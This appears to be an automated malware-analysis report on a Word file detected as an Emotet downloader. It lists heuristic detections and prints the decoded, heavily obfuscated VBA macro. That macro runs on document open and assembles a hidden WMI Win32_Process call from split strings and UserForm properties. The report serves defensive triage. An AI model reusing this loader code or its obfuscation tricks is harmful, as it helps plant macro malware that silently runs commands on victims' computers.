MALICIOUS
232
Risk Score
Heuristics 8
-
ClamAV: Doc.Downloader.Emotet-7464291-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7464291-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.Matched line in script
Foddsppkuff = Join(Split("32ksad_weddvwi32ksad_weddvnm3" + "2ksad_weddvgm32ksad_weddvts32ksad_weddv:32ksad_weddv" + "W32ksad_weddvin32ksad_weddv332ksad_weddv2_32ksad_weddv", MNDUE), "") + Yawhyqzkpr.Urwdatalesy + "rocess" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Fcvvzzjpbdd = VBA.CreateObject(JJKBSKJ + Foddsppkuff) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10687 bytes |
SHA-256: 4601893e6e8a820cb8f58f9f8e203c2bdfa442eb4d8d8015359fb0a473af67fe |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
344 of 513 identifiers look randomly generated (e.g. 'W32ksad_weddvin32ksad_weddv332ksad_weddv') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Yawhyqzkpr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Urwdatalesy, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Select Case Indahpwr
Case Wazzowebwz
Kkqqrbwgmbr = Sin(Dgdrjluzi)
Txwalsaxdvdsk = CStr(Uuowujbslpbkn)
Nbbtwufv = 324
Btulzoszlrzk = Sin(Oseklkimkzh)
Rvdoztdtpgg = CStr(Ikbwedpn)
Pvkklojv = 567
Xbeicarivylyy = Sin(Xlnveldm)
Tpiseglcndh = CStr(Uelhsgsrwain)
Azmtpnuilipqs = 5645
End Select
For Lgurrtrselfy = Ozfbkldakrtzm To Rbosvlto
While Cigiikoykw <> Oioskvdyrh
Njqgamuliph = Scgebbwvgngdd * Atn(Lyuvkrvythxyb) * (Zamvstwt + Bugwkdxlw)
Wend
Next
Select Case Bmuerlim
Case Nsmjooecln
Pxnqysefwajf = Sin(Gabqgepawykh)
Bhfzmgxwqbmqh = CStr(Mjgdtieaugl)
Bpgruedovks = 324
Jjaepwjkkodee = Sin(Gksbbivbvvwdd)
Znevyuzqrpv = CStr(Acnpnfilrrx)
Hfittfjtpqz = 567
Dgublgdebsig = Sin(Tfhvhfknuhxwp)
Lmngvcbqqgqlj = CStr(Amehqohusd)
Mndpqihqgua = 5645
End Select
For Roqpquahhgkri = Drvcnmodnq To Cpgfmkly
While Ecihiegsxhd <> Ozygjdldzp
Rbbyhxhjnnttf = Xusszdcrgn * Atn(Vomfmrjq) * (Uqkwpzbge + Tnjgwrupk)
Wend
Next
Select Case Etublhozpil
Case Ackizvgy
Ouuniwutbytp = Sin(Praxorhdfts)
Rhcwrqafgr = CStr(Cvokpglzu)
Vijwlkobv = 324
Cmybcycjiz = Sin(Mwttpmgcrxz)
Iupurpyzssc = CStr(Enwlliorwar)
Operfmrotdmpq = 567
Rtdqicitfg = Sin(Tvmuxdsaiua)
Uzljkvuyfac = CStr(Ixgwzltw)
Hjolxjzwtpbn = 5645
End Select
For Jvlrsnvjxxuvu = Putwhdzvjxofd To Zvujmeabd
While Ymrrbonadviqv <> Zbudhszqxz
Arpspmkfne = Ascglrezpcey * Atn(Cezwtsad) * (Ocsekowuiy + Psegvbvxnqk)
Wend
Next
Dximwvhfjrbe
End Sub
Attribute VB_Name = "Dsncauqo"
Attribute VB_Base = "0{1B0B6CC2-8098-490A-9B4F-493863E97EAE}{4707F63C-022C-4F70-A3CB-BDF0B2D8AA0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Xvcradjnifpb"
Function Jwqcmzlkvm()
Select Case Fblpyswqjxmhf
Case Htuwgekqb
Dtwduyucrbk = Sin(Gxamhzlwmby)
Wzsvlkpjo = CStr(Gcondvewudqi)
Icnsqsxhmbujw = 324
Jhruggelytrwb = Sin(Frpxcibrx)
Yqmstyoxlwznw = CStr(Qpyyvwgh)
Uznriptj = 567
Oygzthepi = Sin(Sgyrlsyp)
Irozzbfdgfem = CStr(Sjyfnsrzoab)
Zwxutkqfhra = 5645
End Select
For Ymbayfxiz = Tbgajcoxgnfg To Kbsklrymhu
While Nbvvfatdbrdpv <> Dmtsfspn
Ynlvgumvm = Blhenfjsxc * Atn(Ovzobzeyn) * (Hmiiuxrujpq + Lnrmfvgc)
Wend
Next
Hgxjqndjtodcc = Yawhyqzkpr.Urwdatalesy
Select Case Rvdctltuqlb
Case Illbmsxljt
Vzkzxueoofs = Sin(Mmogvhowrsys)
Jveibeoymjvs = CStr(Qycsygafjeomj)
Glghcusk = 324
Igoaflcqrgt = Sin(Ujsemztpu)
Gxolocynecqa = CStr(Etlvsljqf)
Kqfldbnjtuhwr = 567
Hfleejgyifi = Sin(Llpscmem)
Aacqslxx = CStr(Dddebhpdrxfv)
Xieotexbpc = 5645
End Select
For Csnnlina = Hlrvxavuxe To Tkgidpvbnaty
While Qdmxigloatwyh <> Ufgjkzdgc
Eyvgstpakriaw = Ejnlehyus * Atn(Ouxmxjrjcn) * (Bdihmpmfjwev + Qaqfdckfeucx)
Wend
Next
Fxkmvaokgetd = Hgxjqndjtodcc + Dsncauqo.Pcxficdafxv + Dsncauqo.Zapwmbwj + Dsncauqo.Nbkxiaaqsmx
Select Case Mvotmjfk
Case Fcyerzqzxv
Ebvgahrtuf = Sin(Vyqwwypmgj)
Hzaoglog = CStr(Qnxgixtk)
Knititcy = 324
Fumsyahcmj = Sin(Euhdzqprtw)
Turhfnjpzuu = CStr(Fihqqxfj)
Nmftmjprja = 567
Djzwzzamjalcu = Sin(Bcypeuldv)
Wgkclvcfexqt = CStr(Jmznadzea)
Lktesgewfdt = 5645
End Select
For Opzodkkiz = Imquwtsgwnzl To Mrmxscqk
While Ldlbqdglaywgq <> Llngtpeqnqsxl
Eyurjtiqq = Okkegbcxh * Atn(Eyjhnykx) * (Estylyagduxn + Tgikrvoz)
Wend
Next
Igeewuglwd = Fxkmvaokgetd + Dsncauqo.Uvqcrlowzsqr + Dsncauqo.Tbzyyocsxk.Factoid
Select Case Srijgvbhrj
Case Gsysljqdmbohm
Ovgchixukyvk = Sin(Wuvokciqugcai)
Cbwwzmllgtr = CStr(Ouqzmdqhtsbim)
Azhzbdiw = 324
Emkjousukbz = Sin(Nfgjjivo)
Jkhmshugxrk = CStr(Fxfxincwckv)
Uuyndaryaygi = 567
Qvbyseoamd = Sin(Akrhalryma)
Nkqreyyoib = CStr(Aldpeuiv)
Zghtyvrbapo = 5645
End Select
For Hnxwnfweyy = Pibtssmhw To Kladxgbwmj
While Chxuqfnbiqmj <> Ihxckowdmkn
Xxcexpmzluxvb = Buzqphytyk * Atn(Yyvnhngpdf) * (Taqwnzgifnc + Wmrzedtydo)
Wend
Next
Jwqcmzlkvm = Bivsjsdm + Igeewuglwd + Bivsjsdm
Select Case Akforzxcjsik
Case Drigxnti
Ybyokfcypufv = Sin(Mivojovrezm)
Ohbarsnppajs = CStr(Kvxvhqrtpse)
Whxzcwln = 324
Uodnbwhmwgy = Sin(Gdexcvrjvsnri)
Gwrdthdh = CStr(Pwhfisgk)
Vxyirzdywpw = 567
Gfapusndw = Sin(Nykdnzhgwbfj)
Lueelpgwr = CStr(Idlsxnzx)
Toalwhqwdbwdg = 5645
End Select
For Jylknqgjdevwo = Glsmrfesoiq To Aefwbunonnr
While Fwgakbxquk <> Rsfgxcxpsiyz
Tkysybhezhmn = Cxftucjciiq * Atn(Puwygbpimrcm) * (Msyujejnude + Lrcqbmhrkdjfl)
Wend
Next
End Function
Function Dximwvhfjrbe()
Select Case Tggrfzlsq
Case Iypnmvnzclun
Rtxgrhohvnbnc = Sin(Oqvvmdtgtmsu)
Uzswsognlyed = CStr(Blyszfov)
Xvxnetznwlbn = 324
Kanaexqjcqeh = Sin(Vmgzbayw)
Irzqgpcnchiy = CStr(Qbbnthixfys)
Bmitnkvrm = 567
Dnorehswusjay = Sin(Ijlmayvk)
Tnuowwdd = CStr(Fsrsygwpls)
Ijblgaxbhc = 5645
End Select
For Ktxiywfwxax = Sntcfyiojfkm To Dfzddfbhfin
While Mqnilltnndz <> Fbbnnvog
Xxukqkhlooj = Wxyarcqcaazza * Atn(Vrdjkzpkradc) * (Lnujdfpouwdm + Wvlqeppwlalzg)
Wend
Next
MNDUE = "32ksad_weddv"
Foddsppkuff = Join(Split("32ksad_weddvwi32ksad_weddvnm3" + "2ksad_weddvgm32ksad_weddvts32ksad_weddv:32ksad_weddv" + "W32ksad_weddvin32ksad_weddv332ksad_weddv2_32ksad_weddv", MNDUE), "") + Yawhyqzkpr.Urwdatalesy + "rocess"
Select Case Etpxzjpkewjh
Case Xjyfcaamj
Triesfqhg = Sin(Jmkidsvdsqz)
Ahzrtvrksq = CStr(Gfmqszvsjzlv)
Hrfdqtdzekfyo = 324
Cqveqwninarew = Sin(Veywnafp)
Ohbblukjtg = CStr(Rdaujsdzpha)
Basxyxbvrcp = 567
Bggucrrgn = Sin(Trmlawggxnkt)
Vjgtzblicq = CStr(Ufjlinfxegkq)
Viotrmojgikm = 5645
End Select
For Jlownhcbxlew = Hoyqyefctjyl To Yaavzmntso
While Sulcovyucsk <> Johreycdrcw
Wbgnvknjll = Vcmjigqghpx * Atn(Nqblbror) * (Xoowzheycqajv + Ivgebhdzmitm)
Wend
Next
Set Fcvvzzjpbdd = VBA.CreateObject(JJKBSKJ + Foddsppkuff)
Select Case Kfrkhuyw
Case Mjeerxofccnw
Uupnolagfl = Sin(Amdixgyh)
Zhcfwndd = CStr(Yhpmflhaugd)
Pxbcuegyzvuv = 324
Ipndcyxdsw = Sin(Mzymiwho)
Uljyhpymv = CStr(Zylgcbuvmfflr)
Znnxotzau = 567
Dqhegbzemamf = Sin(Mszdpzrgaply)
Eayreixd = CStr(Ydlnegnhh)
Azweccxq = 5645
End Select
For Hdxambvbwxje = Loebtcerv To Bbmcfamw
While Anmsesfleswh <> Nyvxppqiwwka
Rxwidmlariojy = Ihtjtogeohz * Atn(Rpiejgtgvoeg) * (Hmjfqkrnpr + Kkshbekujba)
Wend
Next
Itjufdscnigtg = Foddsppkuff + Dsncauqo.Gyeuzeheo.ControlTipText + Dsncauqo.Syytzdaga.ControlTipText
Select Case Pzrmynln
Case Tzebezbu
Qlgdkqtw = Sin(Zbzwuwnkdi)
Lfgzpfbwizgd = CStr(Tobiupkr)
Zhhhmqqdnxzb = 324
Anugdzuviq = Sin(Ivoxiubozhytk)
Dqqdsrqig = CStr(Odxezqfn)
Pqpfzimspawlr = 567
Rnkhsmhce = Sin(Rviiowjmoabxt)
Prugdlgyh = CStr(Fqihnkaaqqjh)
Bfcfqprx = 5645
End Select
For Qiybmlwbftqtd = Rxssngjigc To Trndicmq
While Znfuicsjhc <> Ysyfaqgzrygh
Rqirrqgfxe = Yhpxvehasuec * Atn(Kfuagxqxkbap) * (Mtutsgszk + Cadswlgp)
Wend
Next
Wkzbcvhhana = Itjufdscnigtg + Yawhyqzkpr.Urwdatalesy
Select Case Zuzymqpy
Case Ehywblpxtxuq
Nctkpcimegaas = Sin(Sieajxtrgo)
Npcjjpdk = CStr(Ejdlsdrvasyna)
Quytkmwtavw = 324
Rkpfzvdvxxfqa = Sin(Ddzomusveqy)
Pdqvaudqc = CStr(Flttwtdkbip)
Ipcypkoblvfuh = 567
Fhxbkljaazy = Sin(Niazgunlseb)
Mtqnzpjn = CStr(Lolkyoczqzbo)
Fnnwendvjgzp = 5645
End Select
For Ajcahpoluj = Pflscxrvilbni To Peelieqygxa
While Gusdhixxkr <> Yoeohoso
Hqyfrzgeucqep = Yfavsfmakkqm * Atn(Iirnhmcfbqyqg) * (Kuzqvjir + Tupnvbmwe)
Wend
Next
Set Dximwvhfjrbe = CreateObject(Wkzbcvhhana)
Select Case Eaeulmygksyh
Case Fnmvwaczrkk
Qtzhyvjwxpq = Sin(Gieubyjiqu)
Xmseiujmw = CStr(Klzlqthyvx)
Tvximphzzlab = 324
Rpvglnywtjcn = Sin(Iwsjltyjllx)
Inzlxcybscp = CStr(Vxbogyvsrcsqq)
Idjioyqiuxek = 567
Ptdxmybiwfz = Sin(Qkhuhnftotgxz)
Hqboafbjotd = CStr(Agejnbzymdw)
Taawantnagd = 5645
End Select
For Rpbsaewo = Oxjxgpume To Mairtqydza
While Nkjwudsaaztlz <> Mxgtytofosa
Yluhoywnwta = Rkmhwscalf * Atn(Bfyfudtwe) * (Elxbucqefkm + Shviennf)
Wend
Next
Dximwvhfjrbe.XSize = False
Select Case Mcbltwcvepi
Case Tazhdblmugbi
Jmszdkbqrn = Sin(Ypfiobyq)
Gekxacrw = CStr(Jnsimqee)
Jmlbdwhl = 324
Ksqfgnpfkyyun = Sin(Lxwwyxtbquts)
Dvfezrqxmbya = CStr(Rdozshszkpuc)
Zknufkgcsqnb = 567
Kuxxxzjngta = Sin(Elqjxazx)
Dvonokxmqfe = CStr(Sxerhletuei)
Cgqacqigtbjl = 5645
End Select
For Ihkvypvy = Jrmxujrgkwhq To Cngjyvvgmiv
While Ijnweuxrld <> Jkdayvrmut
Lzrxdfeci = Wxadwxyrkv * Atn(Krfnmdapoyf) * (Daofzidkb + Xsvowbam)
Wend
Next
Dximwvhfjrbe.YSize = False
Select Case Iahufyhsema
Case Mltyiajlooeo
Owscuuetwib = Sin(Rhptwdxlq)
Wcrftmcg = CStr(Tvlkfeqsp)
Wsrdzvikwfxnr = 324
Czajgvabymdi = Sin(Htayfzjabtruv)
Whtenbqs = CStr(Bwqtrvmrl)
Wpmficxgrm = 567
Zcejecxqau = Sin(Dtgkxfcj)
Zrhzfztlosa = CStr(Rnliooylbwhc)
Nimjqljcmcfxy = 5645
End Select
For Gbdrbpxmxou = Xvzwqdfc To Jzhoajdrqb
While Vekngqwovvlf <> Cigurmeststa
Uwezhbav = Wpgnnooc * Atn(Hukvkkrdls) * (Tuuyrlxdr + Dybfqefdrrouz)
Wend
Next
Do While Fcvvzzjpbdd.Create(UJNDB & Jwqcmzlkvm, Icyyuiydh, Dximwvhfjrbe, Mlbxpkiourbgp)
Loop
Select Case Xoqciftiwq
Case Wszphmizmu
Azqgsycjfn = Sin(Pyjgetrpxaa)
Vgqbdxcthcjp = CStr(Ynwejljajdb)
Celzyflxrlic = 324
Vivaqrdtc = Sin(Rylvxnzhfzpvc)
Bsgcocthos = CStr(Leojckdg)
Buyiukfgmtphq = 567
Altyrxcjjod = Sin(Mlzdcbqmdgi)
Hguodndv = CStr(Jipczlotquotb)
Eouawflppq = 5645
End Select
For Vlqmukmpvnz = Omronnea To Yiuftxtzlcwti
While Ujoeqrpca <> Taccrosmrdze
Cnnpevdrgtdp = Hjfuyaesxj * Atn(Awieufvnn) * (Nvlpcuiz + Gehxegsnkpef)
Wend
Next
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.